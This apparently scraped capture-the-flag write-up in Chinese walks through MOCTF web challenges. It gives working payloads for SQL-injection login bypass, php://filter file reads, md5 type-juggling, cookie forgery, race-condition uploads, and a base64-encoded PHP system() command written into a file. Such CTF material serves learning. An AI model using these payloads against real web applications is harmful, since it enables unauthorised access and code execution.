MOCTF WriteUp

网址

MOCTF

Web

一道水题

F12查看源码直接得到。

还是水题

F12修改下maxlengthdisabled再提交moctf即可。

访问限制

进去要求满足:

只允许使用NAIVE浏览器访问!
只允许香港记者访问!

用BP改下User-Agent:NAIVEAccept-Language:zh-HK即可。

MOCTF WriteUp_第1张图片

机器蛇

F12提示有robots.txt,得到flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问F12得到flag。

PHP黑魔法

提示用源码,访问:/index.php~。F12得到源码。

Wrong Answer!";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "
".$flag."
"; echo "By:daoyuan"; } else echo "
Wrong Answer!
"; } } else echo "
濂藉儚灏戜簡鐐逛粈涔�
"; ?>

构造payload:?a[]=1&b[]=2
得到flag。

我想要钱

给了源码:

time()&&!is_array($money))
        {
            echo $flag;
            echo "";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

给个科学计数法的数字即可:?money=1e99

登录就对了

简单的sql注入。使用万能密码进入即可:

usernmae=admin'#
password=123

文件包含

进入看到url变成:/index.php?file=welcome.txt
尝试发现flag.php。直接用伪协议来读源码好了。
使用payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码后就可以得到flag。

暴跳老板

提示要给老板发邮件。
BP里构造:


MOCTF WriteUp_第2张图片
暴躁老板.png

Flag在哪?

超多301跳转。访问flagfrog.php即可。

美味的饼干

F12在网络里看到cookie字段有一串base64编码,解码后得ee11cbb19052e40b07aac0ca060c23ee。去somd5解码得到时user
admin先md5后base64编码,再用BP发过去就好了。

没时间解释了

这是一道条件竞争题。
302抓包访问uploadsomething.php
这道题就是通过条件竞争漏洞来强制上传我们的php文件。
在Burpsuite中把请求给Intruder模块

MOCTF WriteUp_第3张图片

payload选择Null payloads
MOCTF WriteUp_第4张图片

线程设置20
MOCTF WriteUp_第5张图片

再写个python脚本不断去请求就可以得到flag。

import requests

url = 'http://119.23.73.3:5006/web2/uploads/8894fa8eb7ab38cf32e6287023cde2d702cd1e98/1.php'
while True:
    res = requests.get(url)
    if 'ctf' in res.text:
        print(res.text)

死亡退出

访问给了源码:

 ";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

绕过,而base64编码会把过滤掉。file_put_contents会利用到php伪协议来读取文件流。
所以先把base64编码成:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
最后构造payload:

?c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

这样aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==base64decode之后会变成^?Z,从而绕过。
POST后F12得到Flag。

火眼金睛

写Python就完事儿了:

import requests
import re


url = 'http://119.23.73.3:5001/web10/'
s = requests.Session()
res = s.get(url)
answer = re.findall("moctf",res.text)
num = len(answer)-1
print(num)
url = 'http://119.23.73.3:5001/web10/work.php'
res = s.post(url,data={'answer':num})
print(res.text)

unset

给了源码:

 $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>

你可能感兴趣的:(MOCTF WriteUp)